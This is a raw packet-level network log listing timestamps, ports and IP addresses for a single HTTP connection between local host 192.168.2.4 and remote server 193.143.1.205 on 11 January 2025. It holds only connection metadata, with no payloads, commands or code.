Jan 11, 2025 06:50:36.455585003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.455621004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.455632925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.456260920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.456312895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.456315041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.456346989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.456379890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.456391096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.456414938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.456458092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.456926107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.456976891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.457011938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.457026958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.457046032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.457082033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.457092047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.457115889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.457161903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.460006952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.464463949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.480156898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.480175972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.480283022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.515276909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.515305042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.515327930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.515337944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.515350103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.515360117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.515372038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.515383005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.515393972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.515405893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.515486956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.536036968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.536057949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.536072016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.536084890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.536097050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.536108971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.536122084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.536134005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.536144972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.536148071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.536161900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.536185980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.536206007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.550041914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.550055981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.550069094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.550081015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.550106049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.550131083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.550142050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.550168991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.550189018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.550194025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.550205946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.550218105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.550242901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.550246000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.550276041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.570686102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.570702076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.570724964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.570738077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.570750952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.570761919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.570775032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.570816994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.570838928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.570844889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.570884943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.570895910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.570928097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.570935965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.570977926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.570986986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.571013927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.571057081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.571074963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.571088076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.571099997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.571115971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.571129084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.571130991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.571163893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.571228981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.571274042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.571274042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.571285963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.571324110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.571342945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.571356058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.571368933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.571381092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.571402073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.571419954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.571554899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.571576118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.571588993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.571619987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.571630955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.571643114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.571655989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.571680069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.571695089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.571731091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.571763992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.571775913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.571804047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.571970940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.571985006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.571997881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.572016001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.572032928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.572040081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.572046041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.572058916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.572093010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.572168112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.572180986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.572194099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.572206974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.572210073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.572233915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.572316885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.572330952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.572345972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.572360039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.572362900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.572374105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.572386980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.572396040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.572398901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.572408915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.572449923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.575679064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.575725079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.575735092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.575753927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.575767040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.575767994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.575779915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.575792074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.575794935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.575812101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.575818062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.575825930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.575839043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.575869083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.575898886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.575957060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.575968981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.575983047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.575994968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.576005936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.576006889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.576037884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.576272964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.576287031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.576298952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.576323032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.576340914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.576358080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.576370955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.576384068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.576401949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.576414108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.576416016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.576426029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.576447964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.576467991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.576544046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.576565027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.576576948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.576590061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.576610088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.576637983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.576651096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.576663017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.576674938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.576710939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.577779055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.582653999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.601532936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.601555109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.601567030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.601578951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.601592064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.601603031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.601622105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.601634026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.601634979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.601646900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.601658106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.601670980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.601675987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.601681948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.601696014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.601707935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.601711988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.601739883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.606930017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.611679077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.622033119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.622075081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.622095108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.622097015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.622107983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.622128010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.622142076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.622154951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.622188091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.622188091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.622206926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.622307062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.622318983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.622329950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.622343063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.622354984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.622366905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.622373104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.622379065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.622394085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.622395039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.622426987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.622442007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.626357079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.630976915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.636395931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.636424065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.636435986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.636477947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.636562109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.636574984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.636588097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.636600018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.636606932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.636611938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.636636019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.636689901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.645628929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.650388002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.656929016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.656945944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.656959057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.656970978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.656996012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657006025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.657008886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657020092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.657023907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657033920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657073975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.657228947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657241106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657252073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657268047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657274961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.657280922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657291889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657303095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657310009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.657314062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657326937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657326937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.657344103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657355070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.657356977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657366991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657381058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657391071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.657397985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657409906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657417059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.657419920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657435894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.657442093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657455921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657461882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.657468081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657478094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657494068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657497883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.657505989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657516003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.657516956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657557964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.657584906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657596111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657607079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657629013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.657656908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.657660007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657670975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657681942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657696009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657720089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.657738924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657743931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.657757998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657800913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657805920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.657813072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657849073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.657960892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657973051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657984018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.657994032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.658005953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.658005953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.658016920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.658030987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.658035040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.658042908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.658054113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.658061028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.658077955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.658205986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.658216953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.658229113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.658238888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.658246994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.658250093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.658261061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.658277988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.658288956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.658288956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.658301115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.658312082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.658328056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.658345938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:50:36.658386946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.658397913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.658409119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.658421040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:50:36.658432007 CET	49730	80	192.168.2.4	193.143.1.205
